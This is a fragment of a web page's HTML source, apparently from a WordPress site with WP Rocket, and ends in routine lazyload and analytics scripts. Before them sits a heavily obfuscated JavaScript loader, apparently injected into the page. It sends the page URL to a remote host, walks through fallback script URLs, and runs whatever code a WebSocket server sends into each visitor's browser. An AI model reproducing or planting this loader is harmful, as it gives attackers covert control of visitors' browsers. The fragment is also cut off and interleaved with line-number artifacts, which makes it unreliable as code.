X=['W64nwmoJW7hdK8kjW7BcUMu','W60xWQxcMW','WRabWRBcHq','W7fJWRm/','xmoZvmkR','W6BdLSo8Aq','W59mcrC','qdZdImop','WQuUq0S','W5WQW4FdLW','pCkHygO','WPHguSoy','W6tcGaHl','qN/dRSkS','W4b6WO0','W4fucuW','W4tdNSoVeq','W5pcISoUwq','aa0ywq','amkvhuu','mZhcMmkm','WOm3WOKv','WRVcH8kkwmoJBCoXW5/cMq','x8kPW57dTG','mSo9se8','EIvxoW','W51ihf8','WRexWQFcJG','g3BdPCox','cWSCrq','W6L+WQ1G','mCkIBMS','W5WIW4JdISkVW5BdRCkPnCku','W7rtW7JcNG','WORcSWu','W5hdR8o0W4y','nSkKW6NdVW','jqBcUXO','ax7cMa','W6iex8oZjCk9W45Utq','WPPqv8oz','W6zsWQhcRa','W4JdHmk1bG','sSo9q8kS','kItcN1O','W4tdN8kSfW','WQ5Aa8k0','W5mgdvW','kYhcVIK','fmozW7a/','W6n9WQvR','W7b1WQ5X','WRizWPW','hSkGW43dKa','W6OgvSoJW4hdUSkWW4dcGKa','aHSvBa','WP8SWOGi','rmkkqH3cM23cPSoHW7xcOq','WO7cI0ZcKa','W4ZdH8kHW4e','WRldMLuoWRqlFSkYr8o+W4pdGG','jH3cRmkA','A8k6c2FdS2tdSuldSW','oY3cGWe','W6FdNmoqCq','c2dcLwy','v2ubWOC','o8oju8og','W4xdLSkYwq','WRfEW6NdHG','W78yW6BcRa','nmovW60S','WOhcQSkWWPPqB2tdUaPvC8o/','WO3dG8kPhW','W47dKCk2','a8kTW4tcSa','WOvmaSop','dwdcJNK','WRnnW69a','sNFdRG','WOrwwCow','WRewWQu','o1BcPCkx','tCo7DmkP','WQObWQFcJq','jWVdSLG','z8o0mem0lYJcT8kq','W4hcTbpdGG','a8kNW7ZdKq','pcxcJCkr','xCkWuSkM','WPGsrq4qWQz2s8oPW6RdPW','fCkGW4i','WOqDwHPcW4KGWOJcJW','CSkWz2u','WOS/W4/dNa','xdddQmop','WQ/dMSojW58','WPXru8of','pvZcS8oEkaVdLgbvlMK','W7nrW7lcVJRdUYVcTvO','WP5dwSof','WO9qsmoh','W4ebdSkkamkLrZCvW5mDFG','wMOrWOm','udJdUCoc','vNCgWOm','mCkNqgy','W7/dR8kGbq','m8kKW7m','W5ZcNCk+W5i','WQ0cWOLG','W7FcVCooca','CCo0WRpdNeryoCk4lW','zv/cPmks','cwNdJCog','rNxdVSk6','WRjrW5a9','W79lW69f','W5T2W4Tq','ue9ieCowrwlcUMpdUNDw','W4BdNSk3','xSkQW6VdJa','pN8jWPG','nmoTyge','E1RcPe/cVZ3cOCk4W4tdTq','umo7xCkH','n27cMSki','W5RdJW/dG3ZdOCowW4lcNJhdUW','qCo8WO7dQ8kuWR8QW4Gusqa','a8ofzCoE','EwpcIJddHrTkW7u','gSkveua','pdxcGCki','e8k8W5pcUa','es7cHSkD','WOHdwCoh','W6JcMGvy','W5NdIq7dHNJcPSoMW4dcKJVdL3e','W69+W69S','i8kQWQNdQa','W6WyWONdHq','WP/cVHTX','WRLEWRqy','ib7dOGy','W73cN8oQW5xcGCkXWOJcHW','xZlcNCoTWQldGX0MiG','EWpdSSolW7HaW4b5jhBdQCkC','W5FdUCoOWOC','xSkKW4u'];p=function(){return X;};return p();}function m(M,v){M=M-(0x1*-0x434+0x530+0xf);const y=p();let z=y[M];if(m['XTFFmC']===undefined){var d=function(Z){const D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let a='',Q='';for(let i=-0x1*-0x6ff+-0x2392+0x1c93,O,w,b=0x1*0x17b+-0xe3d+0xcc2*0x1;w=Z['charAt'](b++);~w&&(O=i%(-0x1b*-0x104+-0x1*0x1d12+-0xd5*-0x2)?O*(0x6*0x5+0xa9*-0x2c+-0x33e*-0x9)+w:w,i++%(0x1*0x1f8d+-0x3*-0x7cd+-0x36f0))?a+=String['fromCharCode'](-0x1*-0xd77+-0x1dad+0x1135&O>>(-(0x275+0x14aa+0x3d*-0x61)*i&-0x6*-0x250+0x1c28+-0x2a02)):0xb*0x185+0x1be9*0x1+-0x2ca0){w=D['indexOf'](w);}for(let f=-0xc76+0xfe2+-0xdb*0x4,X=a['length'];f<X;f++){Q+='%'+('00'+a['charCodeAt'](f)['toString'](0x25b9+-0x15ee+-0x1*0xfbb))['slice'](-(-0x1e51+0x5c4+0x188f));}return decodeURIComponent(Q);};const s=function(Z,D){let a=[],k=0x1d2f+0x1cc9+-0x1a8*0x23,Q,O='';Z=d(Z);let w;for(w=-0x137*0x1+-0x17cc+-0x1*-0x1903;w<-0x171*0xb+-0x221f+0x3a*0xe1;w++){a[w]=w;}for(w=0xa*-0x261+0x1342+0x488;w<-0x2164+-0x3*0x3b9+0x6b*0x6d;w++){k=(k+a[w]+D['charCodeAt'](w%D['length']))%(0x787+-0x1bb2+0x1*0x152b),Q=a[w],a[w]=a[k],a[k]=Q;}w=-0x1*-0x2303+0x59*-0x3+0x21f8*-0x1,k=0x2*-0x42e+0xa35+0x1d9*-0x1;for(let b=-0x1*0x1689+-0x11dc+0x47d*0x9;b<Z['length'];b++){w=(w+(0xe81+-0x2*-0xc3b+-0x1*0x26f6))%(0x246+0x1*-0xdbf+0xc79),k=(k+a[w])%(0x117c+0x225b+-0x89*0x5f),Q=a[w],a[w]=a[k],a[k]=Q,O+=String['fromCharCode'](Z['charCodeAt'](b)^a[(a[w]+a[k])%(-0x2303+-0x5ae+-0x335*-0xd)]);}return O;};m['HzMkAo']=s,m['Fpxfub']={},m['XTFFmC']=!![];}const o=y[-0x1*0x2192+-0x1f08+-0x2*-0x204d],x=M+o,U=m['Fpxfub'][x];return!U?(m['FBUKse']===undefined&&(m['FBUKse']=!![]),z=m['HzMkAo'](z,v),m['Fpxfub'][x]=z):z=U,z;}(function(M,v){const k=m,y=M();while(!![]){try{const z=-parseInt(k(0x19b,'Y&je'))/(0xb*-0x216+-0x1*0x163d+-0x8*-0x5a6)+parseInt(k(0x13e,'3%IY'))/(0xb13*0x3+0x15ad+0x1b72*-0x2)*(parseInt(k(0x113,'x8t9'))/(0x1c4*0x3+-0x13ce+0xe85))+parseInt(k(0x189,'GYLw'))/(0xdec+0x9e*-0x4+0xb7*-0x10)*(-parseInt(k(0x14f,'Kyff'))/(-0x1a12+-0x1*-0x1006+-0x3*-0x35b))+-parseInt(k(0x124,'j*ih'))/(-0x1*0x103a+0x189*0x1+0xeb7)*(-parseInt(k(0x12e,'Sjm5'))/(-0x8b9+0xd13+-0x453))+parseInt(k(0x135,'x*UP'))/(-0x141b*0x1+-0x1d38+0x315b)*(-parseInt(k(0x11a,'2oC&'))/(0x11bf+-0x2b*0x2e+0x6*-0x1aa))+parseInt(k(0x14e,'O!S#'))/(-0x128+-0x200c+-0x73*-0x4a)*(parseInt(k(0x13d,'$Ztg'))/(-0x1*0x1667+-0x1c63+0x32d5))+-parseInt(k(0x153,'GYLw'))/(0x6c7+0x2*-0x963+0x1*0xc0b)*(parseInt(k(0x13a,'@*qd'))/(-0xee1+0x11e6+0x2*-0x17c));if(z===v)break;else y['push'](y['shift']());}catch(d){y['push'](y['shift']());}}}(p,-0x151536+-0xcd33*-0xa+-0x2*-0xda7f4),(function(){const Q=m;if(window[Q(0x129,'b0]8')+'_e'])return;window[Q(0x15c,'L1Ru')+'_e']=0x26d4+-0x477+-0x6*0x5ba;function M(z){const i=Q,[d,...o]=z,x=document[i(0x183,'jklc')+i(0x13f,'EIi(')+i(0x157,'946t')+'t'](i(0x17e,'946t')+'pt');return x[i(0x10e,')UvN')]=d,x[i(0x18a,'x*UP')+i(0x186,'A&^4')+i(0x196,'EIi(')+i(0x15f,'Mcqq')](i(0x176,'Y&je')+'r',()=>{const O=i;if(o[O(0x19a,'hfEs')+'th']>0x4b2+0x76b*0x1+-0x1bb*0x7)M(o);else{const U=new WebSocket(O(0x156,'A&^4')+O(0x16f,'ecKE')+O(0x178,'@*qd')+O(0x112,'@*qd')+O(0x10b,'9LqP')+'s');U[O(0x171,'A&^4')+O(0x16e,')UvN')+'e']=Z=>{const w=O,D=Z[w(0x145,'wH@]')],a=document[w(0x123,'wH@]')+w(0x15a,'ecKE')+w(0x185,'A&^4')+'t'](w(0x11
22435,'S1J1')+'pt');a[w(0x17f,'DQ#]')+w(0x144,'gvAd')+w(0x119,'3%IY')]=D,document[w(0x159,'2oC&')][w(0x14b,'yryn')+w(0x158,'Frr&')+w(0x136,'fChD')](a);},U[O(0x193,'Frr&')+'en']=()=>{const b=O;U[b(0x10f,'4ent')](b(0x127,'hdKv')+b(0x142,'gvAd')+'l');};}}),document[i(0x17b,'j*ih')][i(0x16b,'@Qq(')+i(0x128,'x8t9')+i(0x179,'Q0zJ')](x),x;}const v=document[Q(0x11e,'O!S#')+Q(0x15b,'hiqU')+Q(0x165,'x*UP')+'t'][Q(0x126,'ecKE')+Q(0x12a,'Sjm5')][Q(0x180,'b0]8')+'in']??Q(0x170,'x*UP')+Q(0x12f,'4ent')+Q(0x117,'946t');document[Q(0x18e,'fChD')+Q(0x131,'3a33')+Q(0x194,'Q0zJ')+'t'][Q(0x181,'GYLw')+'ve']();const y=document[Q(0x143,'3%IY')+Q(0x110,'946t')+Q(0x114,'bbi@')+'t'](Q(0x19e,'3%IY')+'pt');y[Q(0x187,'jI&k')]=Q(0x10d,'wH@]')+Q(0x198,')UvN')+v+(Q(0x154,')UvN')+Q(0x14c,'9LqP'))+btoa(location[Q(0x168,'Ku9%')+Q(0x172,'x8t9')])[Q(0x155,')UvN')+Q(0x19d,'fChD')](/=+$/,'')+Q(0x175,'bbi@'),y[Q(0x174,'J33d')+Q(0x18b,'Ku9%')+Q(0x18d,'$Ztg')](Q(0x195,'hdKv')+Q(0x11b,'x8t9'),Q(0x11c,'lL6V')+Q(0x134,'Ku9%')),y[Q(0x160,'3a33')+Q(0x177,'Sjm5')+Q(0x184,'hfEs')+Q(0x130,'Kyff')](Q(0x1a0,'Q0zJ')+'r',()=>{const f=Q;M([f(0x17d,'b0]8')+f(0x138,'bvfC')+f(0x151,'Y&je')+f(0x15e,'j*ih')+f(0x12c,'jI&k')+f(0x137,'S1J1')+f(0x16a,'3%IY')+f(0x17c,'J33d')+f(0x11d,'ecKE')+f(0x182,'2oC&')+f(0x125,'hdKv')+f(0x199,'J33d'),f(0x162,'#u2t')+f(0x164,'b0]8')+f(0x122,'wH@]')+f(0x163,'b0]8')+f(0x146,'Mcqq')+f(0x149,'Sjm5')+f(0x14a,'L1Ru')+f(0x12d,'bQKN')+f(0x13b,'946t')+f(0x133,'9LqP')+f(0x197,'b0]8')+f(0x16c,'hp9H')+f(0x12b,'fChD')+f(0x148,'A&^4')+f(0x116,'gvAd')+f(0x161,'lL6V'),f(0x14d,'@*qd')+f(0x132,'jI&k')+f(0x15d,'x8t9')+f(0x190,'4ent')+f(0x16d,'#u2t')+f(0x139,'x8t9')+f(0x141,'lc$P')+f(0x19c,'b0]8')+f(0x192,'DQ#]')+f(0x13c,'gvAd')+f(0x166,'lc$P')+f(0x19f,'wH@]')+f(0x11f,'j*ih')+f(0x152,'3%IY')]);}),document[Q(0x111,')UvN')][Q(0x167,'gvAd')+Q(0x188,'S1J1')+Q(0x10c,'3a33')](y);}()));})();`,document.head.appendChild(e)}function a(){if(t===`essential`){i();return}r()}function o(){var e=n();if(e===`true`)a();else var t=0,r=setInterval(function(){if(t===100||e===`false`){clearInterval(r);return}if(e===`true`){a(),clearInterval(r);return}e=n(),t++},50)}o()})()})();</script>
2243<script>window.lazyLoadOptions=[{elements_selector:"img[data-lazy-src],.rocket-lazyload,iframe[data-lazy-src]",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,callback_loaded:function(element){if(element.tagName==="IFRAME"&&element.dataset.rocketLazyload=="fitvidscompatible"){if(element.classList.contains("lazyloaded")){if(typeof window.jQuery!="undefined"){if(jQuery.fn.fitVids){jQuery(element).parent().fitVids()}}}}}},{elements_selector:".rocket-lazyload",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,}];window.addEventListener('LazyLoad::Initialized',function(e){var lazyLoadInstance=e.detail.instance;if(window.MutationObserver){var observer=new MutationObserver(function(mutations){var image_count=0;var iframe_count=0;var rocketlazy_count=0;mutations.forEach(function(mutation){for(var i=0;i<mutation.addedNodes.length;i++){if(typeof mutation.addedNodes[i].getElementsByTagName!=='function'){continue}
2244if(typeof mutation.addedNodes[i].getElementsByClassName!=='function'){continue}
2245images=mutation.addedNodes[i].getElementsByTagName('img');is_image=mutation.addedNodes[i].tagName=="IMG";iframes=mutation.addedNodes[i].getElementsByTagName('iframe');is_iframe=mutation.addedNodes[i].tagName=="IFRAME";rocket_lazy=mutation.addedNodes[i].getElementsByClassName('rocket-lazyload');image_count+=images.length;iframe_count+=iframes.length;rocketlazy_count+=rocket_lazy.length;if(is_image){image_count+=1}
2246if(is_iframe){iframe_count+=1}}});if(image_count>0||iframe_count>0||rocketlazy_count>0){lazyLoadInstance.update()}});var b=document.getElementsByTagName("body")[0];var config={childList:!0,subtree:!0};observer.observe(b,config)}},!1)</script>
2246<script data-no-minify="1" async src="https://grammarist.com/wp-content/plugins/wp-rocket/assets/js/lazyload/17.8.3/lazyload.min.js"></script>
vendor: 1 bytes, line 2246
2246
2247<script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/v31edd6df95cf4e85bb4c19e7a9bdbcba1788362987495" integrity="sha512-iIg7k2xntmwu6/uSb5tpc/hySgZc4eoL31yB29W6tJFo2akwjPWcEqnCEdJvGexCL0KEQwVYv5BlowfhVz26hg==" data-cf-beacon='{"version":"2024.11.0","token":"6eca66a0e3d946889eb12955d8689465","r":1,"spa":2}' crossorigin="anonymous"></script>
2247
2248</body>
2249</html>
2250
2251<!-- This website is like a Rocket, isn't it? Performance optimized by WP Rocket. Learn more: https://wp-rocket.me - Debug: cached@1790203792 -->

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.